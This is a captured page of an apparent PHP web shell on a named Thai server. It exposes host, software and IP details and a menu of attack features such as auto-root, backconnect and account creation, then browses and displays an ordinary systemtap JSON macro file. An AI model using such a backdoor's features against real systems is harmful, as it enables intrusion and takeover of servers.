Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
arm64
[ DIR ]
drwxr-xr-x
i386
[ DIR ]
drwxr-xr-x
ia64
[ DIR ]
drwxr-xr-x
powerpc
[ DIR ]
drwxr-xr-x
s390
[ DIR ]
drwxr-xr-x
x86_64
[ DIR ]
drwxr-xr-x
atomic.stp
1.52
KB
-rw-r--r--
aux_syscalls.stp
139.14
KB
-rw-r--r--
context-caller.stp
3.07
KB
-rw-r--r--
context-envvar.stp
1.71
KB
-rw-r--r--
context-symbols.stp
11.98
KB
-rw-r--r--
context-unwind.stp
2.81
KB
-rw-r--r--
context.stp
17.76
KB
-rw-r--r--
context.stpm
125
B
-rw-r--r--
conversions-guru.stp
5.56
KB
-rw-r--r--
conversions.stp
10.92
KB
-rw-r--r--
ctime.stp
5.32
KB
-rw-r--r--
dentry.stp
9.79
KB
-rw-r--r--
dev.stp
1.79
KB
-rw-r--r--
endian.stp
602
B
-rw-r--r--
guru-delay.stp
1.2
KB
-rw-r--r--
guru-signal.stp
1.07
KB
-rw-r--r--
inet.stp
1.42
KB
-rw-r--r--
inet_sock.stp
1.31
KB
-rw-r--r--
ioblock.stp
12.55
KB
-rw-r--r--
ioscheduler.stp
11.74
KB
-rw-r--r--
ip.stp
5.23
KB
-rw-r--r--
ipmib-filter-default.stp
965
B
-rw-r--r--
ipmib.stp
12.55
KB
-rw-r--r--
irq.stp
5
KB
-rw-r--r--
json.stp
8.92
KB
-rw-r--r--
json.stpm
6.11
KB
-rw-r--r--
kprocess.stp
4.38
KB
-rw-r--r--
kretprobe.stp
2.1
KB
-rw-r--r--
linuxmib-filter-default.stp
876
B
-rw-r--r--
linuxmib.stp
3.38
KB
-rw-r--r--
loadavg.stp
1.87
KB
-rw-r--r--
logging.stp
2.08
KB
-rw-r--r--
memory.stp
17.77
KB
-rw-r--r--
nd_syscalls.stp
138.14
KB
-rw-r--r--
nd_syscalls2.stp
161.75
KB
-rw-r--r--
netfilter.stp
31.56
KB
-rw-r--r--
networking.stp
7.17
KB
-rw-r--r--
nfs.stp
37.86
KB
-rw-r--r--
nfs_proc.stp
55.3
KB
-rw-r--r--
nfs_proc.stpm
1.18
KB
-rw-r--r--
nfsd.stp
39.97
KB
-rw-r--r--
nfsderrno.stp
11.7
KB
-rw-r--r--
panic.stp
1.07
KB
-rw-r--r--
perf.stp
4.5
KB
-rw-r--r--
proc_mem.stp
11.49
KB
-rw-r--r--
pstrace.stp
773
B
-rw-r--r--
rcu.stp
917
B
-rw-r--r--
rlimit.stp
1.35
KB
-rw-r--r--
rpc.stp
37.94
KB
-rw-r--r--
scheduler.stp
11.33
KB
-rw-r--r--
scsi.stp
9.46
KB
-rw-r--r--
signal.stp
28.35
KB
-rw-r--r--
socket.stp
33.41
KB
-rw-r--r--
syscalls.stp
136.01
KB
-rw-r--r--
syscalls.stpm
11.28
KB
-rw-r--r--
syscalls2.stp
158.1
KB
-rw-r--r--
syscalls_cfg_trunc.stp
111
B
-rw-r--r--
target_set.stp
1.71
KB
-rw-r--r--
task.stp
19.07
KB
-rw-r--r--
task.stpm
157
B
-rw-r--r--
task_ancestry.stp
1.57
KB
-rw-r--r--
task_time.stp
7.45
KB
-rw-r--r--
tcp.stp
21.98
KB
-rw-r--r--
tcpmib-filter-default.stp
885
B
-rw-r--r--
tcpmib.stp
10.29
KB
-rw-r--r--
timestamp.stp
1.72
KB
-rw-r--r--
timestamp_gtod.stp
1.59
KB
-rw-r--r--
timestamp_monotonic.stp
5.12
KB
-rw-r--r--
tty.stp
7.15
KB
-rw-r--r--
tzinfo.stp
803
B
-rw-r--r--
ucontext-symbols.stp
8.62
KB
-rw-r--r--
ucontext-unwind.stp
3.64
KB
-rw-r--r--
ucontext.stp
2.18
KB
-rw-r--r--
udp.stp
5.73
KB
-rw-r--r--
utrace.stp
1.33
KB
-rw-r--r--
vfs.stp
26.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : json.stpm
// JSON tapset macros. // Copyright (C) 2015 Red Hat Inc. // // This file is part of systemtap, and is free software. You can // redistribute it and/or modify it under the terms of the GNU General // Public License (GPL); either version 2, or (at your option) any // later version. // // NB: tapsetdescription is in tapset/linux/json.stp @define __json_output_metric_metadata(indent_str, name, pointer, type, description, units) %( $value .= sprintf("%s{\n", @indent_str) $value .= sprintf("%s \"name\": \"%s\",\n", @indent_str, @name) $value .= sprintf("%s \"pointer\": \"%s\",\n", @indent_str, @pointer) $value .= sprintf("%s \"type\": \"%s\"", @indent_str, @type) if (strlen(@description) > 0) { $value .= sprintf(",\n%s \"description\": \"%s\"", @indent_str, @description) } if (strlen(@units) > 0) { $value .= sprintf(",\n%s \"units\": \"%s\"", @indent_str, @units) } $value .= sprintf("\n%s}", @indent_str) %) /** * smacro json_output_data_start - Start the json output. * * Description: The json_output_data_start macro is designed to be * called from the 'json_data' probe from the user's script. It marks * the start of the JSON output. */ @define json_output_data_start %( __comma_needed = 0 $value = "{\n" %) # Make sure we don't try to output the same metric twice in the same # data fetch. @define __json_output_check(name) %( if (@name in __json_metric_output) error(sprintf("Metric '%s' already output", @name)) __json_metric_output[@name] = 1 %) # Make sure we don't try to output the same array index twice in the same # data fetch. @define __json_output_array_check(array_index) %( if (@array_index in __json_array_output) error(sprintf("Array index '%s' already output for array metric %s", @array_index, __json_array_started)) __json_array_output[@array_index] = 1 %) /** * smacro json_output_string_value - Output a string value. * * @name: The name of the string metric. * @value: The string value to output. * * Description: The json_output_string_value macro is designed to be * called from the 'json_data' probe in the user's script to output a * metric's string value. This metric should have been added with * json_add_string_metric(). */ @define json_output_string_value(name, value) %( @__json_output_check(@name) @__json_output_array_end if (__comma_needed) $value .= ",\n" __comma_needed = 1 $value .= sprintf(" \"%s\": \"%s\"", @name, @value) %) /** * smacro json_output_numeric_value - Output a numeric value. * * @name: The name of the numeric metric. * @value: The numeric value to output. * * Description: The json_output_numeric_value macro is designed to be * called from the 'json_data' probe in the user's script to output a * metric's numeric value. This metric should have been added with * json_add_numeric_metric(). */ @define json_output_numeric_value(name, value) %( @__json_output_check(@name) @__json_output_array_end if (__comma_needed) $value .= ",\n" __comma_needed = 1 $value .= sprintf(" \"%s\": %d", @name, @value) %) /** * smacro json_output_array_string_value - Output a string value for metric in an array. * * @array_name: The name of the array. * @array_index: The array index (as a string) indicating where to store the string value. * @metric_name: The name of the string metric. * @value: The string value to output. * * Description: The json_output_array_string_value macro is designed * to be called from the 'json_data' probe in the user's script to * output a metric's string value that is in an array. This metric * should have been added with json_add_array_string_metric(). */ @define json_output_array_string_value(array_name, array_index, metric_name, value) %( @__json_output_array_start(@array_name, @array_index) if (__comma_needed) $value .= ",\n" __comma_needed = 1 $value .= sprintf(" \"%s\": \"%s\"", @metric_name, @value) %) /** * smacro json_output_array_numeric_value - Output a numeric value for metric in an array. * * @array_name: The name of the array. * @array_index: The array index (as a string) indicating where to store the numeric value. * @metric_name: The name of the numeric metric. * @value: The numeric value to output. * * Description: The json_output_array_numeric_value macro is designed * to be called from the 'json_data' probe in the user's script to * output a metric's numeric value that is in an array. This metric * should have been added with json_add_array_numeric_metric(). */ @define json_output_array_numeric_value(array_name, array_index, metric_name, value) %( @__json_output_array_start(@array_name, @array_index) if (__comma_needed) $value .= ",\n" __comma_needed = 1 $value .= sprintf(" \"%s\": %d", @metric_name, @value) %) # Handle the details of starting the output of an array. @define __json_output_array_start(array_name, array_index) %( if (__json_array_started != @array_name) { @__json_output_check(@array_name) @__json_output_array_end if (__comma_needed) $value .= ",\n" __comma_needed = 1 $value .= sprintf(" \"%s\": [\n", @array_name) $value .= " {\n" __json_array_started = @array_name } if (__json_array_index_started != @array_index) { @__json_output_array_check(@array_index) if (__json_array_index_started != "") { $value .= "\n" " },\n" " {\n" } __json_array_index_started = @array_index $value .= sprintf(" \"__id\": \"%s\"", @array_index) } %) # Handle the details of finishing the output of an array. @define __json_output_array_end %( if (__json_array_started != "") { $value .= "\n" " }\n" " ]" __json_array_started = "" __json_array_index_started = "" delete __json_array_output } %) /** * smacro json_output_data_end - End the json output. * * Description: The json_output_data_end macro is designed to be * called from the 'json_data' probe from the user's script. It marks * the end of the JSON output. */ @define json_output_data_end %( @__json_output_array_end $value .= "\n" "}\n" __comma_needed = 0 delete __json_metric_output %)
Close